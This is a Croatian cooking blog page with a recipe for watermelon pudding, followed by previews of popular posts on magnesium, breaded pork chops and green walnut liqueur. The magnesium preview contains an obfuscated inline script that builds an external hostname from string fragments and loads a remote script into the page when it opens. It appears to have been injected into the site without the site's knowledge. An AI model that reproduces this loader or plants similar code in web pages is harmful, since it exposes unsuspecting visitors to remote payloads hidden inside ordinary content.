PUDING OD LUBENICE 🍉




Puding od lubenice 




Ako vam nije dosta lubenice i željeli biste je isprobati i u nekom drugom obliku, predlažemo jedan jednostavan i ukusan talijanski (točnije, sicilijanski) desert. Iza naziva gelo di melone zapravo se skriva puding od lubenice.





Puding od lubenice 


Sastojci:

  • 1,5 kg lubenice očišćene od kore
  • 75 g škrobnog brašna
  • šećer i sok od limuna po želji




Priprema:

  1. Prvo morate napraviti sok od lubenice. Očišćenu lubenicu blendajte ili pretvorite u pire uz pomoć štapnog miksera. Ubacite pire u cjedilo i procijedite sok. Treba vam otprilike 750 ml soka od lubenice. Probajte sok i ako vam se čini da nije dovoljno sladak ili vam pak fali malo kiselosti, ubacite u njega šećera i(li) soka od limuna po svom ukusu.
  2. Pripremite posudice u koje ćete staviti puding nakon kuhanja. Možete ga servirati u posudicama ili čašama, a ako ih namjeravate vaditi iz njih onda prije ulijevanja isperite posudice s hladnom vodom i ne brišite ih kako biste stvorili sloj koji će spriječiti lijepljenje pudinga. Također možete posudice premazati s vrlo malo maslaca ili neutralnog ulja, ali pazite da to uistinu bude mala količina koju ćete u potpunosti razmazati po površini.
  3. U zasebnu zdjelicu ubacite škrobno brašno i dodajte mu malo pripremljenog soka od lubenice pa dobro promiješajte kako biste dobili malo rjeđu smjesu bez grudica. Ostatak soka od lubenice stavite na vatru srednje jačine i kada sok zakuha, umutite unutra smjesu sa škrobnim brašnom. Miješajte nekoliko minuta dok se smjesa ne zgusne poput klasičnog pudinga.
  4. Vreli puding ulijte u pripremljene posudice, pustite da se prvo puding ohladi u potpunosti na sobnoj temperaturi. Ako ga namjeravate vaditi iz posudica, pustite ga da prenoći u hladnjaku, a ako ćete ga servirati u posudicama onda će biti dovoljno nekoliko sati hlađenja.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više